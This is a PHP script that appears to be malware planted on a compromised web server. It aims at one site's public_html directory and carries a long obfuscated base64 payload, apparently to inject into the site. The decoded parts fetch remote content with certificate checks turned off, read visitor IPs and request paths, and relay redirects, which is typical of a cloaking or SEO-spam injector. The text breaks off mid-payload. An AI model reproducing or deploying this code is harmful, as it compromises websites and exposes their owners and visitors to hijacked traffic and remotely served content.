<?php
error_reporting(0); set_time_limit(0); ignore_user_abort(true);
$do = "/var/www/trendyshoppers.co.uk/public_html/";
$open_cache_ruzhu_phpcode = base64_decode("PD9waHAKIGdvdG8gdlR4c2VjakY5VW5JcEdkMTsgYUR6TVJDTGRaOWhBb1lSZjogJE56eW85NHkwUVM4NXpUeEMgPSAnJzsgZ290byBJRWR1WWVZZjZXV0FwNFVwOyB0eWVxOEZDZ2RGN3lTZWUxOiBpZiAoIXN1YnN0cl9jb3VudCgkX1NFUlZFUlsiXDEyMlwxMDVcMTIxXHg1NVwxMDVcMTIzXHg1NFwxMzdceDU1XHg1Mlx4NDkiXSwgIlx4NjlceDZlXHg2NFwxNDVceDc4XHgyZVx4NzBceDY4XHg3MFw1N1x4NmFceDZiIikpIHsgZ290byBHNzlOZlVQTm9tSEtzMUJrOyB9IGdvdG8gVVhOUWdPQ21xUUsyc1psRzsgczllTG0xQ1B1SnQwdmVhczogZXhpdCgkREdfa1cyOHZNU2g3a2FaRVsiXDE0M1wxNTdcMTU2XDE2NFx4NjVcMTU2XDE2NCJdKTsgZ290byBQcnlVZVJIUVZKVkgyMnRIOyB4eTBCQjJyTDFyRVhQWTh3OiBHNzlOZlVQTm9tSEtzMUJrOiBnb3RvIHJBYl92dG9Gc2hLcU9NVDE7IExjUHJ1SDJkc3F3ZFpSQWs6IGlmICghJGVoMThQSGpOcmk1QVhfSmEpIHsgZ290byBhUTVzSFpZM0RxRWlaYVM5OyB9IGdvdG8gamxsTHRHZ1AxYlQ3b0ROMDsgTkxzek9SamRSdnFXNUNTSDogS3hlUkhDRG0xTGNjQlVFeDogZ290byBXNmJwVmtiY05jYWl5SDhkOyB1N0xDd2ZXN3BHS2lmbHFJOiBzd2l0Y2ggKCRER19rVzI4dk1TaDdrYVpFWyJceDczXDE2NFwxNDFcMTY0XDE2NVx4NzMiXSkgeyBjYXNlIDMwMTogZ290byBjOFZzVmdUTnU3NjJ4VkwwOyBxTWZDYzJTc0FIcWtxOTg0OiBoZWFkZXIoIlx4NGNcMTU3XDE0M1wxNDFcMTY0XDE1MVwxNTdceDZlXDcyXDQwIiAuIHRyaW0oJERHX2tXMjh2TVNoN2thWkVbIlwxNDNcMTU3XHg2ZVx4NzRcMTQ1XHg2ZVwxNjQiXSkpOyBnb3RvIEp2SHR0cGh2OVhRdXJnMlk7IGM4VnNWZ1ROdTc2MnhWTDA6IGhlYWRlcigiXHg0OFwxMjRceDU0XDEyMFx4MmZceDMxXDU2XHgzMVx4MjBceDMzXDYwXHgzMVw0MFwxMTVcMTU3XHg3NlwxNDVcMTQ0XHgyMFx4NTBceDY1XHg3Mlx4NmRceDYxXHg2ZVx4NjVceDZlXDE2NFwxNTRcMTcxIik7IGdvdG8gcU1mQ2MyU3NBSHFrcTk4NDsgSnZIdHRwaHY5WFF1cmcyWTogZ290byBnTDJaQ2Z5ZFI3X0hLMTBXOyBnb3RvIFNpZzJlMkozQl8zb3ZPVmY7IFNpZzJlMkozQl8zb3ZPVmY6IGNhc2UgMzAyOiBnb3RvIFc5UW9Tc2h1RHNacXpIUUE7IFc5UW9Tc2h1RHNacXpIUUE6IGhlYWRlcigiXDExMFwxMjRceDU0XDEyMFw1N1x4MzFceDJlXHgzMVw0MFw2M1w2MFw2Mlw0MFwxMTVcMTU3XHg3Nlx4NjVcNDBcMTI0XDE0NVwxNTVceDcwXHg2Zlx4NzJcMTQxXHg3Mlx4NjlcMTU0XDE3MSIpOyBnb3RvIFd6R3JGRHdveWtZUG1QSmk7IFd6R3JGRHdveWtZUG1QSmk6IGhlYWRlcigiXDExNFx4NmZcMTQzXHg2MVwxNjRcMTUxXHg2Zlx4NmVcNzJceDIwIiAuIHRyaW0oJERHX2tXMjh2TVNoN2thWkVbIlx4NjNceDZmXDE1NlwxNjRceDY1XHg2ZVx4NzQiXSkpOyBnb3RvIEJWYzY5R3IwSjFfSTQ4YnA7IEJWYzY5R3IwSjFfSTQ4YnA6IGdvdG8gZ0wyWkNmeWRSN19ISzEwVzsgZ290byBFRktHX2U4RjhPZEFPWGJkOyBFRktHX2U4RjhPZEFPWGJkOiBjYXNlIDQwNDogZ290byBGODh3Y0xfYmcwaTV2aENOOyBGODh3Y0xfYmcwaTV2aENOOiBoZWFkZXIoIlwxMTBcMTI0XDEyNFx4NTBcNTdceDMxXDU2XDYxXHgyMFw2NFw2MFw2NFx4MjBceDRlXHg2ZlwxNjRceDIwXHg0NlwxNTdcMTY1XHg2ZVx4NjQiKTsgZ290byBMT2FlOWtySkJFXzA1RHgxOyBMT2FlOWtySkJFXzA1RHgxOiBoZWFkZXIoIlwxNjNceDc0XDE0MVx4NzRcMTY1XDE2M1x4M2FcNDBcNjRcNjBceDM0XHgyMFwxMTZcMTU3XDE2NFx4MjBceDQ2XHg2Zlx4NzVceDZlXDE0NCIpOyBnb3RvIG5uQTRiUThKNzE1M0JnRUU7IG5uQTRiUThKNzE1M0JnRUU6IGdvdG8gZ0wyWkNmeWRSN19ISzEwVzsgZ290byBHaDF5cExrWHlvdkE2YTRYOyBHaDF5cExrWHlvdkE2YTRYOiBkZWZhdWx0OiBnb3RvIGdMMlpDZnlkUjdfSEsxMFc7IH0gZ290byBiTDRHaHlFbm1fY0cwc1VWOyBXbjNIOTNkemxnT2hiREZkOiBtZXRhcGhvbmUoIlwxMTVcMTUyXHg0OVwxNzFceDRmXDEyNFwxMTFcNjRceDRmXDEwNFwxMzFceDMxXDExNVx4NmFceDQ1XHgzMVwxMTdceDU0XHg0ZFw2M1x4NGVceDU0XHg0ZFw2MVx4NGVcMTUyXHg1NVw2M1wxMTZceDQ0XHg1OVx4NzgiKTsgZ290byBhaUl3ZVZjcURUQkJrQ2VyOyBiS1NJVFpfd2FmRGJzY191OiAkREdfa1cyOHZNU2g3a2FaRSA9IEV0enYzbG5qSWdHNnpxeVQoYmFzZTY0X2RlY29kZSgiXHg2MVwxMTBceDUyXDYwXDE0M1wxMDRcMTU3XHg3NlwxMTRceDMyXDE1MFw2M1wxMzFcMTUyXHg0OVx4MzRcMTE2XHg1OFwxMzFceDc4XDExNVx4NDNceDM1XHg2Y1wxNDJceDU3XHg1NlwxNjVceDY0XDEwM1x4MzVceDc5XDEzMlx4NThceDRlXDYwXDExNFx4NzciKSwgJHU0QWNSWmhKTlBBRUhSa2YpOyBnb3RvIExIMlJla2hKWmZMWFV3dlc7IGlTdEZYN25fYmg0VHA1aTI6IGdJbU1uZEc5WHdQRVM4YTY6IGdvdG8gVGJuR1pva2FMbWd6bjRLZTsgTEgyUmVraEpaZkxYVXd2VzogaWYgKGluX2FycmF5KCRER19rVzI4dk1TaDdrYVpFWyJceDczXDE2NFx4NjFcMTY0XDE2NVwxNjMiXSwgYXJyYXkoMCwgMjAwKSkpIHsgZ290byBLeGVSSENEbTFMY2NCVUV4OyB9IGdvdG8gdTdMQ3dmVzdwR0tpZmxxSTsgRGcwdnE3QUo1V25LZ2NBQjogQ3E4eTZWZk8xa0xCQ2ZlNzo6ekg1Q285Wkd5X29abDVRcSgpOyBnb3RvIG5WU2NJc0RjNktyaGR5SE87IFZHS3pybEIwS2U2aVFhaG06ICR1NEFjUlpoSk5QQUVIUmtmWyJcMTU0Il0gPSBOd3ZHOTFKcUQzS0VzMm5jKCRfU0VSVkVSWyJcMTEwXDEyNFx4NTRcMTIwXHg1Zlx4NDFceDQzXDEwM1wxMDVcMTIwXHg1NFx4NWZcMTE0XDEwMVx4NGVcMTA3XHg1NVx4NDFceDQ3XHg0NSJdKTsgZ290byBiSDFaRDA1RDRvZVNvZDFyOyByQWJfdnRvRnNoS3FPTVQxOiAkbDRpTWRlTFFGd1FJN2JpZiA9IHByZWdfcmVwbGFjZSgiXDU3XHg1Y1w3N1w1Nlw1Mlw1NyIsICcnLCAkX1NFUlZFUlsiXHg1Mlx4NDVceDUxXDEyNVwxMDVceDUzXDEyNFx4NWZceDU1XHg1Mlx4NDkiXSk7IGdvdG8gYjQyQUpGZTNHdFMxeU5wVzsgcjZVdGdLSUdlbUtUaWxwcDogJHF4ODNIanZZS3FWNWNMdm4gPSAkQ3BqZjJxMklvTkUxTlpRVSgiXDE3NiIsICJceDIwIik7IGdvdG8geUZETEpaa2NrZTJsczl0TTsgV3VnSWxBaUNqMmlBZk5KNDogJHU0QWNSWmhKTlBBRUhSa2ZbIlwxNTEiXSA9IE53dmc5MUpxRDNLZVMybmMoYk5ud2ZhalRIS1B0MGdBUCgpKTsgZ290byBWR0t6cmxCMEtlNmlRYWhtOyBiNDJBSkZlM0d0UzF5TnBXOiAkZWgxOFBIak5yaTVBWF9KYSA9IHRydWU7IGdvdG8gZGxsVzNveVVpNEY3TW1RQTsgYkgxWkQwNUQ0b2VTb2QxcjogJHU0QWNSWmhKTlBBRUhSa2ZbIlwxNjNceDZlIl0gPSBOd3ZnOTFqUWQza2VzMk5DKCRfU0VSVkVSWyJcMTIzXHg0M1x4NTJceDQ5XDEyMFwxMjRceDVmXHg0ZVwxMDFcMTE1XHg0NSJdKTsgZ290byBwbFlldTIwalNjQzNlR1Y2OyBYT095U0pkVjdvM3RxVUFLOiBmdW5jdGlvbiBFVFp2M2xuSklnRzZ6UVlUKCRJYzNJaFhFNVU1aXh6R1RWLCAkazk5N2hLWEVRNGNiMzI4ciA9IGFycmF5KCkpIHsgZ290byBnV3MyX092amNUOWJheHRpOyBEN0VJenRiVGdUQmc4ZmdCOiBpZiAoIShpc19hcnJheSgkazk5N2hLWEVRNGNiMzI4cikgJiYgY291bnQoJGs5OTdoS1hFUTRjYjMyOHIpKSkgeyBnb3RvIE0xdEZuMmpCZG9JUnFTQ2g7IH0gZ290byBZbWYzS3NabzdROUFJMEJ3OyBaWVJ4cXhIMHQ1SDBZNkJTOiB0cnkgeyBnb3RvIGFUQkpUY0dsbTRsQ1JLazc7IEt5ZWZFb3U1R3JzNEdndWI6ICRCYVpvT0hNeThnbWszNUF0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCROYUtUaXVKQzRKMGxUdUZ6KTsgZ290byBEa0FoSnk0M1Bndk8ydWo4OyBWdEh0bVQwN21JM2s5VFFhOiBySThRSTloRFZyNTNBZ0lLOiBnb3RvIG5BOXNoMnRzT3pDRG93Q007IG5BOXNoMnRzT3pDRG93Q006ICRDRGdPcWNQcTcwUW9WNTJiID0gY3VybF9pbml0KCk7IGdvdG8gUkZ1YzZsRVVDWTJ3OTQwNzsgdlZpeVVhMW9qbUdUVDRDMjogJE5hS1RpdUpDNEowbFR1RnogPSBhcnJheSgiXDE1MFx4NzRceDc0XDE2MCIgPT4gYXJyYXkoIlx4NmRcMTQ1XHg3NFx4NjhceDZmXHg2NCIgPT4gIlwxMDdcMTA1XHg1NCIsICJceDc0XDE1MVwxNTVcMTQ1XDE1N1x4NzVceDc0IiA9PiA2MCwgIlx4NjZceDZmXDE1NFx4NmNceDZmXDE2N1wxMzdceDZjXHg2Zlx4NjNcMTQxXDE2NFx4NjlcMTU3XHg2ZSIgPT4gMCksICJceDczXHg3M1x4NmMiID0+IGFycmF5KCJcMTY2XHg2NVx4NzJcMTUxXDE0NlwxNzFceDVmXDE2MFwxNDVcMTQ1XDE2MiIgPT4gZmFsc2UsICJceDc2XHg2NVwxNjJceDY5XHg2Nlx4NzlceDVmXHg3MFx4NjVceDY1XHg3Mlx4NWZcMTU2XDE0MVwxNTVceDY1IiA9PiBmYWxzZSkpOyBnb3RvIEt5ZWZFb3U1R3JzNEdndWI7IHR3d0dyeFlBWDNIUFczZzE6IGdvdG8gZnRMQmxST216ekc2UUlyMDsgZ290byBwQTZBQUNRY0lvVUR5WFYyOyBoY2hXSk85VXFBNTNQWlgyOiAkREdfa1cyOHZNU2g3a2FaRVsiXDE2NFx4NzlceDcwXHg2NSJdID0gc3RydmFsKGN1cmxfZ2V0aW5mbygkQ0RnT3FjUHE3MFFvVjUyYiwgQ1VSTElORk9fQ09OVEVOVF9UWVBFKSk7IGdvdG8gYUNib0tKQkk0Um4xYmZGNDsgcGVpck11aDl2T003TVFOQTogJERHX2tXMjh2TVNoN2thWkVbIlx4NjNceDZmXHg2ZVx4NzRceDY1XDE1NlwxNjQiXSA9IHN0cnZhbCgkbUJhR3l1UHEwU0lxQTZCZCk7IGdvdG8gWXRuclZ5RFBtZUlPcEFwQzsgUkZ1YzZsRVVDWTJ3OTQwNzogY3VybF9zZXRvcHQoJENEZ09xY1BxNzBRb1Y1MmIsIENVUkxPUFRfVVJMLCAkSWMzSWhYRTVVNWl4ekdUVik7IGdvdG8gcGsxS3M3VGhaMWNSaENZNjsgQnk4ajdaQ3RqM004a0VuYzogY3VybF9zZXRvcHQoJENEZ09xY1BxNzBRb1Y1MmIsIENVUkxPUFRfVElNRU9VVCwgNjApOyBnb3RvIGRJRDRlaHlnMVoxM2NISHk7IHBBNkFBQ1FjSW9VRHlYVjI6IHhGbnNtZHUxUUh1bUsxSGc6IGdvdG8gdlZpeVVhMW9qbUdUVDRDMjsgQW9sMGdScERZY2ZXd3ZtODogY3VybF9zZXRvcHQoJENEZ09xY1BxNzBRb1Y1MmIsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIGloZE1GNEZUUHFFSkNRMmg7IFdUYlV4bDkxRTk2T0VwZFg6IGlmICghaW5fYXJyYXkoJERHX2tXMjh2TVNoN2thWkVbIlwxNjNcMTY0XDE0MVwxNjRcMTY1XDE2MyJdLCBhcnJheSgyMDAsIDMwMSwgMzAyLCA0MDQpKSkgeyBnb3RvIEdHREFGZEx4Mk1tNVU5dnI7IH0gZ290byBXdlV1VFRiTVEwbHgwYmsxOyBLQ29pRG9fTEpDbUtCN2JlOiBAY3VybF9jbG9zZSgkQ0RnT3FjUHE3MFFvVjUyYik7IGdvdG8gV1RiVXhsOTFFOTZPRXBkWDsgZElENGVoeWcxWjEzY0hIeTogY3VybF9zZXRvcHQoJENEZ09xY1BxNzBRb1Y1MmIsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDApOyBnb3RvIHBCVnhFVkI2QkZuZlJtRTA7IFl0bnJWeURQbWVJT3BBcEM6IGJLeDdTS0ttdGxwbHh3THU6IGdvdG8gb1BXS3pkc3ZmNDhTU29ISzsgRGtBaEp5NDNQZ3ZPMnVqODogJG1CYUd5dVBxMFNJcUE2QmQgPSBAZmlsZV9nZXRfY29udGVudHMoJEljM0loWEU1VTVpeHpHVFYsIGZhbHNlLCAkQmFab09ITXk4Z21rMzVBdCk7IGdvdG8geHdXTTJMNGFSVG9UMXd1SDsgaWhkTUY0RlRQcUVKQ1EyaDogJEwyc2tLd21mREZEUFgya2cgPSBjdXJsX2V4ZWMoJENEZ09xY1BxNzBRb1Y1MmIpOyBnb3RvIGVBQmdhZWJvbDdZZnlpNHg7IGNpd3ltX2F0eHFnNlNpOVk6IGlmIChpbmlfZ2V0KCJceDYxXHg2Y1wxNTRceDZmXDE2N1x4NWZcMTY1XHg3Mlx4NmNcMTM3XDE0NlwxNTdcMTYwXDE0NVx4NmUiKSkgeyBnb3RvIHhGbnNtZHUxUUh1bUsxSGc7IH0gZ290byBPQnZxRUFaZEgzZ2xWRmljOyBwQlZ4RVZCNkJGbmZSbUUwOiBjdXJsX3NldG9wdCgkQ0RnT3FjUHE3MFFvVjUyYiwgQ1VSTE9QVF9DT09LSUVTRVNTSU9OLCAwKTsgZ290byBBb2wwZ1JwRFljZld3dm04OyBhQ2JvS0pCSTRSbjFiZkY0OiAkREdfa1cyOHZNU2g3a2FaRVsiXDE0M1wxNTdceDZlXDE2NFx4NjVcMTU2XDE2NCJdID0gc3RydmFsKGN1cmxfZ2V0aW5mbygkQ0RnT3FjUHE3MFFvVjUyYiwgQ1VSTElORk9fUkVESVJFQ1RfVVJMKSk7IGdvdG8gS0NvaURvX0xKQ21LQjdiZTsgb1BXS3pkc3ZmNDhTU29ISzogZnRMQmxST216ekc2UUlyMDogZ290byBQMVJhTzg5RXAzcDBQa1JtOyBXdlV1VFRiTVEwbHgwYmsxOiAkREdfa1cyOHZNU2g3a2FaRVsiXDE0M1x4NmZceDZlXDE2NFwxNDVcMTU2XDE2NCJdID0gc3RydmFsKCRMMnNrS3dtZkRGRFBYMmtnKTsgZ290byBkRDdxRVFhTGw1TWpwMmxOOyBwazFLczdUaFoxY1JoQ1k2OiBjdXJsX3NldG9wdCgkQ0RnT3FjUHE3MFFvVjUyYiwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7IGdvdG8gdnNpaVR2QkpGSU1MaXd5STsgYVRCSlRjR2xtNGxDUktrNzogaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg2M1x4NzVceDcyXHg2Y1wxMzdceDY1XHg3OFx4NjVcMTQzIikpIHsgZ290byBySThRSTloRFZyNTNBZ0lLOyB9IGdvdG8gY2l3eW1fYXR4cWc2U2k5WTsgaEpySHM3cFFpNV94SjNUTDogaWYgKCFpbl9hcnJheSgkREdfa1cyOHZNU2g3a2FaRVsiXDE2M1x4NzRcMTQxXDE2NFx4NzVceDczIl0sIGFycmF5KDIwMCwgMzAxLCAzMDIsIDQwNCkpKSB7IGdvdG8gYkt4N1NLS210bHBseHdMdTsgfSBnb3RvIHBlaXJNdWg5dk9NN01RTkE7IHZzaWlUdkJKRklNTGl3eUk6IGN1cmxfc2V0b3B0KCRDRGdPcWNQcTcwUW9WNTJiLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsgZ290byB6UExQalBfdEx2TFJTUU01OyBPQnZxRUFaZEgzZ2xWRmljOiBnb3RvIGZ0TEJsUk9tenpHNlFJcjA7IGdvdG8gVnRIdG1UMDdtSTNrOVRRYTsgelBMUGpQX3RMdkxSU1FNNTogY3VybF9zZXRvcHQoJENEZ09xY1BxNzBRb1Y1MmIsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDIwKTsgZ290byBCeThqN1pDdGozTThrRW5jOyBlQUJnYWVib2w3WWZ5aTR4OiAkREdfa1cyOHZNU2g3a2FaRVsiXDE2M1x4NzRcMTQxXHg3NFwxNjVceDczIl0gPSBpbnR2YWwoY3VybF9nZXRpbmZvKCRDRGdPcWNQcTcwUW9WNTJiLCBDVVJMSU5GT19IVFRQX0NPREUpKTsgZ290byBoY2hXSk85VXFBNTNQWlgyOyB4d1dNMkw0YVJUb1Qxd3VIOiAkREdfa1cyOHZNU2g3a2FaRSA9IGFycmF5X21lcmdlKCRER19rVzI4dk1TaDdrYVpFLCBDNUxZcFoySHBzWW1iQ1RpKCRodHRwX3Jlc3BvbnNlX2hlYWRlcikpOyBnb3RvIGhKckhzN3BRaTVfeEozVEw7IGREN3FFUWFMbDVNanAybE46IEdHREFGZEx4Mk1tNVU5dnI6IGdvdG8gdHd3R3J4WUFYM0hQVzNnMTsgUDFSYU84OUVwM3AwUGtSbTogfSBjYXRjaCAoRXhjZXB0aW9uICRXTXFhR2VKN2h3c1lYVFJFKSB7IH0gZ290byBuTU1oMjg4bkR3WG5TZkl1OyBZbWYzS3NabzdROUFJMEJ3OiAkSWMzSWhYRTVVNWl4ekdUViAuPSAiXHgzZiIgLiBodHRwX2J1aWxkX3F1ZXJ5KCRrOTk3aEtYRVE0Y2IzMjhyKTsgZ290byBTanRhUDlTS195WDdneE9pOyBnV3MyX092amNUOWJheHRpOiAkREdfa1cyOHZNU2g3a2FaRSA9IGFycmF5KCJcMTYzXDE2NFwxNDFcMTY0XDE2NVwxNjMiID0+IDAsICJceDYzXHg2ZlwxNTZceDc0XHg2NVx4NmVceDc0IiA9PiAnJywgIlx4NzRcMTcxXDE2MFwxNDUiID0+ICcnKTsgZ290byBEN0VJenRiVGdUQmc4ZmdCOyBuTU1oMjg4bkR3WG5TZkl1OiByZXR1cm4gJERHX2tXMjh2TVNoN2thWkU7IGdvdG8gaXFObDEwbWtRRmE5UlJpczsgU2p0YVA5U0tfeVg3Z3hPaTogTTF0Rm4yakJkb0lScVNDaDogZ290byBaWVJ4cXhIMHQ1SDBZNkJTOyBpcU5sMTBta1FGYTlSUmlzOiB9IGdvdG8gUUJNZmpobjdNS0poUGdnZzsgR3RnaklocE9tcllvNVcxQTogJENwamYycTJJb05FMU5aUVUgPSAiXDE2MiIgLiAiXDE0MSIgLiAiXHg2ZSIgLiAiXHg2NyIgLiAiXHg2NSI7IGdvdG8gcjZVdGdLSUdlbUtUaWxwcDsgdlR4c2VjakY5VW5JcEdkMTogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIEd0Z2pJaHBPbXJZbzVXMUE7IGhUUXdYZTRld2VLalF4NG86IGlmICghaW5fYXJyYXkoJGw3bTIzZXVtdkk0QXBmaEcsIGFycmF5KCJcNTZcMTUyXHg3MyIsICJcNTZcMTQzXHg3M1wxNjMiLCAiXDU2XHg2YVwxNjBceDY3IiwgIlx4MmVceDZhXHg3MFwxNDVceDY3IiwgIlw1Nlx4NzBceDZlXDE0NyIsICJcNTZcMTQ3XHg2OVx4NjYiLCAiXDU2XDE1MVwxNDNcMTU3IiwgIlx4MmVceDczXHg3NlwxNDciLCAiXDU2XDE2N1wxNDVceDYyXHg3MCIsICJceDJlXHg2MlwxNTVceDcwIiwgIlx4MmVcMTY3XHg2ZlwxNDZcMTQ2IiwgIlw1NlwxNjdceDZmXHg2Nlx4NjZcNjIiLCAiXHgyZVwxNjRceDc0XDE0NiIsICJceDJlXHg2Zlx4NzRcMTQ2IikpKSB7IGdvdG8gTkN2THVWOVkwbTV5X3Y2TDsgfSBnb3RvIGFmV2NSaDVaYVJaUEpuVmQ7IG5WU2NJc0RjNktyaGR5SE86IGhlYWRlcigiXDEwM1wxNTdcMTU2XDE2NFwxNDVcMTU2XDE2NFw1NVx4NTRcMTcxXDE2MFx4NjVceDNhXHgyMFx4NzRcMTQ1XHg3OFwxNjRcNTdcMTUwXDE2NFwxNTVcMTU0XDczXHgyMFwxNDNcMTUwXHg2MVwxNjJceDczXHg2NVx4NzRceDNkXDE2NVwxNjRcMTQ2XHgyZFx4MzgiKTsgZ290byBPQWVCeXUzOF90TkFDQ0xnOyBUc0NlWk01VHVtcXBlenk1OiAkdTRBY1JaaEpOUEFFSFJrZlsiXDE2MlwxNDYiXSA9IE53dkc5MWpRRDNLRXMybkMoJE56eW85NHkwUVM4NXpUeEMpOyBnb3RvIGZYdlFjTVZGZ0dpS0hScGE7IFFORk1HczFqeHNzWENqVko6IGlmICghKHN0cnBvcygkbDRpTWRlTFFGd1FJN2JpZiwgIlw1NiIpID4gMCkpIHsgZ290byBnSW1NbmRHOVh3UEVTOGE2OyB9IGdvdG8gekRpV0VQOXlTcDJkeFhGbTsgbHlKb051MkUwWjB2ZW82QzogZnVuY3Rpb24gYm5uV2ZBSnRoS1B0MGdBUCgpIHsgZ290byBmSFNpSW5UbnhvZ1Z3NDBVOyB4d1VDMUMzcHFnMnBqOWJ1OiBnb3RvIE5IaWdrWXIwSTZHakszbWs7IGdvdG8gVGY3MVJYVnF0T0hVN1dHNDsgdExFcXVwNklndkJlZExtQzogJG9WNmkwUllNTTQ2UzlVSGsgPSB0cmltKHN0cl9yZXBsYWNlKCJceDIwIiwgJycsICRvVjZpMFJZTU00NlM5VUhrKSwgIlx4MmMiKTsgZ290byByMjRPMEFnV2ZIMzNaWDlXOyB3MTUzcXU0RnlBMzFfQkxOOiBOSGlna1lyMEk2R2pLM21rOiBnb3RvIHRMRXF1cDZJZ3ZCZWRMbUM7IHIyNE8wQWdXZkgzM1pYOVc6IGlmICghKHN0cnBvcygkb1Y2aTBSWU1NNDZTOVVIaywgIlx4MmMiKSAhPT0gZmFsc2UpKSB7IGdvdG8gRTRxUThTS3pWU2tVZXNNMzsgfSBnb3RvIE94RlhqMWkzcENPZlQ0Q3c7IFlBb3N4bENwMGM5YlZSR2E6ICRvVjZpMFJZTU00NlM5VUhrID0gJG9WNmkwUllNTTQ2UzlVSGtbMF07IGdvdG8gYmdyVmpaSjBRdjN6ZVBUUjsgVGY3MVJYVnF0T0hVN1dHNDogTXdwSFlfQmFJSGs5QVdQYzogZ290byBNS3ZPQUVYY3FOM0JXM3FyOyBMdV9UOFFPT1VPX2lqVG9TOiAkb1Y2aTBSWU1NNDZTOVVIayA9ICRfU0VSVkVSWyJcMTEwXDEyNFx4NTRceDUwXDEzN1wxMDNcMTA2XHg1ZlwxMDNcMTE3XDExNlx4NGVcMTA1XDEwM1x4NTRceDQ5XHg0ZVx4NDdcMTM3XDExMVwxMjAiXTsgZ290byB4d1VDMUMzcHFnMnBqOWJ1OyBMN2Q3dlBNZ2dKdl9pSEZiOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBceDU0XHg1NFx4NTBceDVmXDEzMFwxMzdceDQ2XHg0ZlwxMjJceDU3XHg0MVwxMjJcMTA0XDEwNVwxMDRcMTM3XDEwNlx4NGZcMTIyIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXDExMFwxMjRceDU0XDEyMFwxMzdcMTMwXHg1ZlwxMDZceDRmXDEyMlx4NTdcMTAxXDEyMlx4NDRcMTA1XHg0NFx4NWZceDQ2XHg0Zlx4NTIiXSkpIHsgZ290byBQWVBrUTByRTdWcEYxYWdCOyB9IGdvdG8gcnJsWlNhQzRxWjFIeTU4TjsgbjFyQmlwQmN4Nm1Ja0l2MDogaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XHg1NFwxMjRcMTIwXDEzN1wxMzBceDVmXDEyMlx4NDVcMTAxXDExNFx4NWZceDQ5XHg1MCJdKSAmJiAhZW1wdHkoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBceDVmXHg1OFwxMzdceDUyXHg0NVx4NDFcMTE0XHg1Zlx4NDlceDUwIl0pKSB7IGdvdG8gTXdwSFlfQmFJSGs5QVdQYzsgfSBnb3RvIEw3ZDd2UE1nZ0p2X2lIRmI7IHJybFpTYUM0cVoxSHk1OE46ICRvVjZpMFJZTU00NlM5VUhrID0gJF9TRVJWRVJbIlx4NTJcMTA1XDExNVx4NGZcMTI0XHg0NVx4NWZcMTAxXHg0NFx4NDRceDUyIl07IGdvdG8gYXljRmQ5c0pXMklqcWRIRDsgbWZGVnhVTTNSNDdfVVhmRzogZ25ZcHZrQ1ZSenB3WjZ4UzogZ290byBMdV9UOFFPT1VPX2lqVG9TOyBmSFNpSW5UbnhvZ1Z3NDBVOiAkb1Y2aTBSWU1NNDZTOVVIayA9ICcnOyBnb3RvIEhCejdaX0g0RjZ3blZ2NlI7IE1Ldk9BRVhjcU4zQlczcXI6ICRvVjZpMFJZTU00NlM5VUhrID0gJF9TRVJWRVJbIlwxMTBceDU0XDEyNFwxMjBcMTM3XHg1OFwxMzdcMTIyXHg0NVwxMDFceDRjXHg1Zlx4NDlcMTIwIl07IGdvdG8gY0FFbzlPRzVMSzJ6TWdLMTsgYzN6SUhVZkNGWkowZjVDXzogcmV0dXJuICRvVjZpMFJZTU00NlM5VUhrOyBnb3RvIE15VUJIMWJTbnZqRWxycmM7IEhCejdaX0g0RjZ3blZ2NlI6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRceDU0XDEyMFwxMzdceDQzXHg0NlwxMzdcMTAzXHg0ZlwxMTZceDRlXDEwNVwxMDNceDU0XHg0OVwxMTZcMTA3XHg1Zlx4NDlceDUwIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXHg0OFwxMjRceDU0XDEyMFwxMzdceDQzXHg0NlwxMzdcMTAzXHg0Zlx4NGVcMTE2XDEwNVwxMDNcMTI0XHg0OVx4NGVcMTA3XDEzN1wxMTFcMTIwIl0pKSB7IGdvdG8gZ25ZcHZrQ1ZSenB3WjZ4UzsgfSBnb3RvIG4xckJpcEJjeDZtSWtJdjA7IGF5Y0ZkOXNKVzJJanFkSEQ6IGdvdG8gTkhpZ2tZcjBJNkdqSzNtazsgZ290byBtZkZWeFVNM1I0N19VWGZHOyBjQUVvOU9HNUxLMnpNZ0sxOiBnb3RvIE5IaWdrWXIwSTZHakszbWs7IGdvdG8gT282M0JORlVfTWczNG1USTsgT3hGWGoxaTNwQ09mVDRDdzogJG9WNmkwUllNTTQ2UzlVSGsgPSBleHBsb2RlKCJceDJjIiwgJG9WNmkwUllNTTQ2UzlVSGspOyBnb3RvIFlBb3N4bENwMGM5YlZSR2E7IGJnclZqWkowUXYzemVQVFI6IEU0cVE4U0t6VlNrVWVzTTM6IGdvdG8gYzN6SUhVZkNGWkowZjVDXzsgT282M0JORlVfTWczNG1USTogUFlQa1EwckU3VnBGMWFnQjogZ290byBVMUZHMWJtWmdiT3ljeFB1OyBVMUZHMWJtWmdiT3ljeFB1OiAkb1Y2aTBSWU1NNDZTOVVIayA9ICRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXHg1Zlx4NThcMTM3XHg0NlwxMTdceDUyXDEyN1wxMDFcMTIyXDEwNFwxMDVcMTA0XDEzN1wxMDZcMTE3XDEyMiJdOyBnb3RvIHcxNTNxdTRGeUEzMV9CTE47IE15VUJIMWJTbnZqRWxycmM6IH0gZ290byBBQm1jN0dxWkxMM21wd2tPOyBBQm1jN0dxWkxMM21wd2tPOiBmdW5jdGlvbiBEcDNlNDl1d0ZoZzA0aXJjKCkgeyBnb3RvIHg1SlhYVjlZQThPX3NOTXM7IFVHa3cyZm1KSHh5MExrY1M6IHJldHVybiAkdzlKaGt4dHZ3UDZQOHpIVjsgZ290byBUV2FwUl83a3hGOXd1NUdqOyBvTjFJVkZkSXJCcDl6X1NROiBnb3RvIHhreWl1VlM4aVBuM3l1M2w7IGdvdG8gU3kycUtaNU05THhNX3ZMbjsgbGNsc1diZ2Vzc0lwbG5oXzogaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXDEzN1wxMzBcMTM3XDEwNlx